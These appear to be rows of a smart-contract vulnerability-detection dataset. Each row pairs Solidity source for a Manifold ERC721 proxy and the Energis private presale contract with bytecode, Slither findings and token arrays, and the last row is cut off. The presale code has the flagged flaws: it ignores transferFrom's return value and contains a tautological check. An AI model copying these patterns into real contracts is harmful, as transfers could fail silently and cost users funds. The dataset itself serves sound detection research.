// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// //
// //
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
contract CUM is ERC721Creator {
constructor() ERC721Creator("Contemporary Universal Matter", "CUM") {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @author: manifold.xyz
import "@openzeppelin/contracts/proxy/Proxy.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/StorageSlot.sol";
contract ERC721Creator is Proxy {
constructor(string memory name, string memory symbol) {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a;
Address.functionDelegateCall(
0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a,
abi.encodeWithSignature("initialize(string,string)", name, symbol)
);
}
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation address.
*/
function implementation() public view returns (address) {
return _implementation();
}
function _implementation() internal override view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/Proxy.sol)
pragma solidity ^0.8.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internal call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback() external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive() external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
} | 0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102cb60279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b60606001600160a01b0384163b61019d5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101b8919061024b565b600060405180830381855af49150503d80600081146101f3576040519150601f19603f3d011682016040523d82523d6000602084013e6101f8565b606091505b5091509150610208828286610212565b9695505050505050565b60608315610221575081610105565b8251156102315782518084602001fd5b8160405162461bcd60e51b81526004016101949190610267565b6000825161025d81846020870161029a565b9190910192915050565b602081526000825180602084015261028681604085016020870161029a565b601f01601f19169190910160400192915050565b60005b838110156102b557818101518382015260200161029d565b838111156102c4576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a264697066735822122098cf2213e4d02eda984e901292e6d8107ecc29685b449f01184cd72ef5037f2064736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
25746,
2497,
2683,
2581,
2050,
2683,
2063,
21472,
2063,
2683,
2063,
14142,
21486,
2094,
2629,
2063,
12740,
2549,
2546,
22407,
19481,
2497,
26187,
2581,
18939,
2620,
2509,
2497,
21486,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1013,
1013,
1030,
2516,
1024,
3824,
5415,
3043,
1013,
1013,
1013,
1030,
3166,
1024,
19726,
1012,
1060,
2100,
2480,
12324,
1000,
1012,
1013,
9413,
2278,
2581,
17465,
16748,
8844,
1012,
14017,
1000,
1025,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
1013,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,452 | 0x952cba3e9d953dbf20e8a073d76f8cb832051daa | pragma solidity ^0.4.21;
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: zeppelin-solidity/contracts/ownership/Claimable.sol
/**
* @title Claimable
* @dev Extension for the Ownable contract, where the ownership needs to be claimed.
* This allows the new owner to accept the transfer.
*/
contract Claimable is Ownable {
address public pendingOwner;
/**
* @dev Modifier throws if called by any account other than the pendingOwner.
*/
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
/**
* @dev Allows the current owner to set the pendingOwner address.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
pendingOwner = newOwner;
}
/**
* @dev Allows the pendingOwner address to finalize the transfer.
*/
function claimOwnership() onlyPendingOwner public {
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
// File: contracts/external/KYCWhitelist.sol
/**
* @title KYCWhitelist
* @dev Crowdsale in which only whitelisted users can contribute.
*/
contract KYCWhitelist is Claimable {
mapping(address => bool) public whitelist;
/**
* @dev Reverts if beneficiary is not whitelisted. Can be used when extending this contract.
*/
modifier isWhitelisted(address _beneficiary) {
require(whitelist[_beneficiary]);
_;
}
/**
* @dev Does a "require" check if _beneficiary address is approved
* @param _beneficiary Token beneficiary
*/
function validateWhitelisted(address _beneficiary) internal view {
require(whitelist[_beneficiary]);
}
/**
* @dev Adds single address to whitelist.
* @param _beneficiary Address to be added to the whitelist
*/
function addToWhitelist(address _beneficiary) external onlyOwner {
whitelist[_beneficiary] = true;
}
/**
* @dev Adds list of addresses to whitelist. Not overloaded due to limitations with truffle testing.
* @param _beneficiaries Addresses to be added to the whitelist
*/
function addManyToWhitelist(address[] _beneficiaries) external onlyOwner {
for (uint256 i = 0; i < _beneficiaries.length; i++) {
whitelist[_beneficiaries[i]] = true;
}
}
/**
* @dev Removes single address from whitelist.
* @param _beneficiary Address to be removed to the whitelist
*/
function removeFromWhitelist(address _beneficiary) external onlyOwner {
whitelist[_beneficiary] = false;
}
}
// File: contracts/external/Pausable.sol
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Claimable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
// File: zeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/PrivatePreSale.sol
/**
* @title PrivatePreSale
*
* Private Pre-sale contract for Energis tokens
*
* (c) Philip Louw / Zero Carbon Project 2018. The MIT Licence.
*/
contract PrivatePreSale is Claimable, KYCWhitelist, Pausable {
using SafeMath for uint256;
// Wallet Address for funds
address public constant FUNDS_WALLET = 0xDc17D222Bc3f28ecE7FCef42EDe0037C739cf28f;
// Token Wallet Address
address public constant TOKEN_WALLET = 0x1EF91464240BB6E0FdE7a73E0a6f3843D3E07601;
// Token adderss being sold
address public constant TOKEN_ADDRESS = 0x14121EEe7995FFDF47ED23cfFD0B5da49cbD6EB3;
// Token being sold
ERC20 public constant TOKEN = ERC20(TOKEN_ADDRESS);
// Conversion Rate (Eth cost of 1 NRG)
uint256 public constant TOKENS_PER_ETH = 4970;
// Max NRG tokens to sell
uint256 public constant MAX_TOKENS = 20000000 * (10**18);
// Min investment in Tokens
uint256 public constant MIN_TOKEN_INVEST = 4970 * (10**18);
// Token sale start date
uint256 public START_DATE = 1529323200;
// -----------------------------------------
// State Variables
// -----------------------------------------
// Amount of wei raised
uint256 public weiRaised;
// Amount of tokens issued
uint256 public tokensIssued;
// If the pre-sale has ended
bool public closed;
// -----------------------------------------
// Events
// -----------------------------------------
/**
* Event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
// -----------------------------------------
// Constructor
// -----------------------------------------
function PrivatePreSale() public {
require(TOKENS_PER_ETH > 0);
require(FUNDS_WALLET != address(0));
require(TOKEN_WALLET != address(0));
require(TOKEN_ADDRESS != address(0));
require(MAX_TOKENS > 0);
require(MIN_TOKEN_INVEST >= 0);
}
// -----------------------------------------
// Private PreSale external Interface
// -----------------------------------------
/**
* @dev Checks whether the cap has been reached.
* @return Whether the cap was reached
*/
function capReached() public view returns (bool) {
return tokensIssued >= MAX_TOKENS;
}
/**
* @dev Closes the sale, can only be called once. Once closed can not be opened again.
*/
function closeSale() public onlyOwner {
require(!closed);
closed = true;
}
/**
* @dev Returns the amount of tokens given for the amount in Wei
* @param _weiAmount Value in wei
*/
function getTokenAmount(uint256 _weiAmount) public pure returns (uint256) {
// Amount in wei (10**18 wei == 1 eth) and the token is 18 decimal places
return _weiAmount.mul(TOKENS_PER_ETH);
}
/**
* @dev fallback function ***DO NOT OVERRIDE***
*/
function () external payable {
buyTokens(msg.sender);
}
// -----------------------------------------
// Private PreSale internal
// -----------------------------------------
/**
* @dev low level token purchase ***DO NOT OVERRIDE***
* @param _beneficiary Address performing the token purchase
*/
function buyTokens(address _beneficiary) internal whenNotPaused {
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokenAmount = getTokenAmount(weiAmount);
// Validation Checks
preValidateChecks(_beneficiary, weiAmount, tokenAmount);
// update state
tokensIssued = tokensIssued.add(tokenAmount);
weiRaised = weiRaised.add(weiAmount);
// Send tokens from token wallet
TOKEN.transferFrom(TOKEN_WALLET, _beneficiary, tokenAmount);
// Forward the funds to wallet
FUNDS_WALLET.transfer(msg.value);
// Event trigger
emit TokenPurchase(msg.sender, _beneficiary, weiAmount, tokenAmount);
}
/**
* @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use super to concatenate validations.
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
* @param _tokenAmount Amount of token to purchase
*/
function preValidateChecks(address _beneficiary, uint256 _weiAmount, uint256 _tokenAmount) internal view {
require(_beneficiary != address(0));
require(_weiAmount != 0);
require(now >= START_DATE);
require(!closed);
// KYC Check
validateWhitelisted(_beneficiary);
// Test Min Investment
require(_tokenAmount >= MIN_TOKEN_INVEST);
// Test hard cap
require(tokensIssued.add(_tokenAmount) <= MAX_TOKENS);
}
} | 0x6080604052600436106101485763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630bdf53008114610153578063372c6533146101845780633f4ba83a146101ab5780634042b66f146101c05780634e71e0c8146101d55780634f935945146101ea578063597e1fb5146102135780635c975abb1461022857806369b6438e1461023d5780637365babe146102525780637c48bbda1461026757806382bfefc8146101535780638456cb591461027c5780638ab1d681146102915780638ada1957146102b25780638c10671c146102c75780638da5cb5b146102e75780639b19251a146102fc578063bc6e66041461031d578063c2507ac114610332578063e30c39781461034a578063e43252d71461035f578063ee55efee14610380578063f2fde38b14610395578063f47c84c5146103b6575b610151336103cb565b005b34801561015f57600080fd5b50610168610575565b60408051600160a060020a039092168252519081900360200190f35b34801561019057600080fd5b5061019961058d565b60408051918252519081900360200190f35b3480156101b757600080fd5b50610151610593565b3480156101cc57600080fd5b506101996105f0565b3480156101e157600080fd5b506101516105f6565b3480156101f657600080fd5b506101ff61067e565b604080519115158252519081900360200190f35b34801561021f57600080fd5b506101ff610692565b34801561023457600080fd5b506101ff61069b565b34801561024957600080fd5b506101686106a4565b34801561025e57600080fd5b506101996106bc565b34801561027357600080fd5b506101996106ca565b34801561028857600080fd5b506101516106d0565b34801561029d57600080fd5b50610151600160a060020a036004351661072f565b3480156102be57600080fd5b50610168610767565b3480156102d357600080fd5b50610151600480356024810191013561077f565b3480156102f357600080fd5b506101686107f3565b34801561030857600080fd5b506101ff600160a060020a0360043516610802565b34801561032957600080fd5b50610199610817565b34801561033e57600080fd5b5061019960043561081d565b34801561035657600080fd5b50610168610837565b34801561036b57600080fd5b50610151600160a060020a0360043516610846565b34801561038c57600080fd5b50610151610881565b3480156103a157600080fd5b50610151600160a060020a03600435166108b7565b3480156103c257600080fd5b506101996108fd565b600354600090819060ff16156103e057600080fd5b3491506103ec8261081d565b90506103f983838361090c565b60065461040c908263ffffffff61099716565b600655600554610422908363ffffffff61099716565b600555604080517f23b872dd000000000000000000000000000000000000000000000000000000008152731ef91464240bb6e0fde7a73e0a6f3843d3e076016004820152600160a060020a03851660248201526044810183905290517314121eee7995ffdf47ed23cffd0b5da49cbd6eb3916323b872dd9160648083019260209291908290030181600087803b1580156104bb57600080fd5b505af11580156104cf573d6000803e3d6000fd5b505050506040513d60208110156104e557600080fd5b505060405173dc17d222bc3f28ece7fcef42ede0037c739cf28f903480156108fc02916000818181858888f19350505050158015610527573d6000803e3d6000fd5b5060408051838152602081018390528151600160a060020a0386169233927f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad18929081900390910190a3505050565b7314121eee7995ffdf47ed23cffd0b5da49cbd6eb381565b60045481565b600054600160a060020a031633146105aa57600080fd5b60035460ff1615156105bb57600080fd5b6003805460ff191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b60055481565b600154600160a060020a0316331461060d57600080fd5b60015460008054604051600160a060020a0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600180546000805473ffffffffffffffffffffffffffffffffffffffff19908116600160a060020a03841617909155169055565b6006546a108b2a2c28029094000000111590565b60075460ff1681565b60035460ff1681565b73dc17d222bc3f28ece7fcef42ede0037c739cf28f81565b69010d6c9afbcfbb68000081565b60065481565b600054600160a060020a031633146106e757600080fd5b60035460ff16156106f757600080fd5b6003805460ff191660011790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600054600160a060020a0316331461074657600080fd5b600160a060020a03166000908152600260205260409020805460ff19169055565b731ef91464240bb6e0fde7a73e0a6f3843d3e0760181565b60008054600160a060020a0316331461079757600080fd5b5060005b818110156107ee576001600260008585858181106107b557fe5b60209081029290920135600160a060020a0316835250810191909152604001600020805460ff191691151591909117905560010161079b565b505050565b600054600160a060020a031681565b60026020526000908152604090205460ff1681565b61136a81565b60006108318261136a63ffffffff6109b116565b92915050565b600154600160a060020a031681565b600054600160a060020a0316331461085d57600080fd5b600160a060020a03166000908152600260205260409020805460ff19166001179055565b600054600160a060020a0316331461089857600080fd5b60075460ff16156108a857600080fd5b6007805460ff19166001179055565b600054600160a060020a031633146108ce57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6a108b2a2c2802909400000081565b600160a060020a038316151561092157600080fd5b81151561092d57600080fd5b60045442101561093c57600080fd5b60075460ff161561094c57600080fd5b610955836109dc565b69010d6c9afbcfbb68000081101561096c57600080fd5b6006546a108b2a2c280290940000009061098c908363ffffffff61099716565b11156107ee57600080fd5b6000828201838110156109a657fe5b8091505b5092915050565b6000808315156109c457600091506109aa565b508282028284828115156109d457fe5b04146109a657fe5b600160a060020a03811660009081526002602052604090205460ff161515610a0357600080fd5b505600a165627a7a72305820ae34d213b84002cb66b15ddff8acd041878760176205a7e9395d3ad16431c00c0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}} | true | null | {'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'tautology', 'impact': 'Medium', 'confidence': 'High'}]} | [
101,
1014,
2595,
2683,
25746,
27421,
2050,
2509,
2063,
2683,
2094,
2683,
22275,
18939,
2546,
11387,
2063,
2620,
2050,
2692,
2581,
29097,
2581,
2575,
2546,
2620,
27421,
2620,
16703,
2692,
22203,
2850,
2050,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2538,
1025,
1013,
1013,
5371,
1024,
22116,
1011,
5024,
3012,
1013,
8311,
1013,
6095,
1013,
2219,
3085,
1012,
14017,
1013,
1008,
1008,
1008,
1030,
2516,
2219,
3085,
1008,
1030,
16475,
1996,
2219,
3085,
3206,
2038,
2019,
3954,
4769,
1010,
1998,
3640,
3937,
20104,
2491,
1008,
4972,
1010,
2023,
21934,
24759,
14144,
1996,
7375,
1997,
1000,
5310,
6656,
2015,
1000,
1012,
1008,
1013,
3206,
2219,
3085,
1063,
4769,
2270,
3954,
1025,
2724,
6095,
6494,
3619,
7512,
5596,
1006,
4769,
25331,
3025,
12384,
2121,
1010,
4769,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
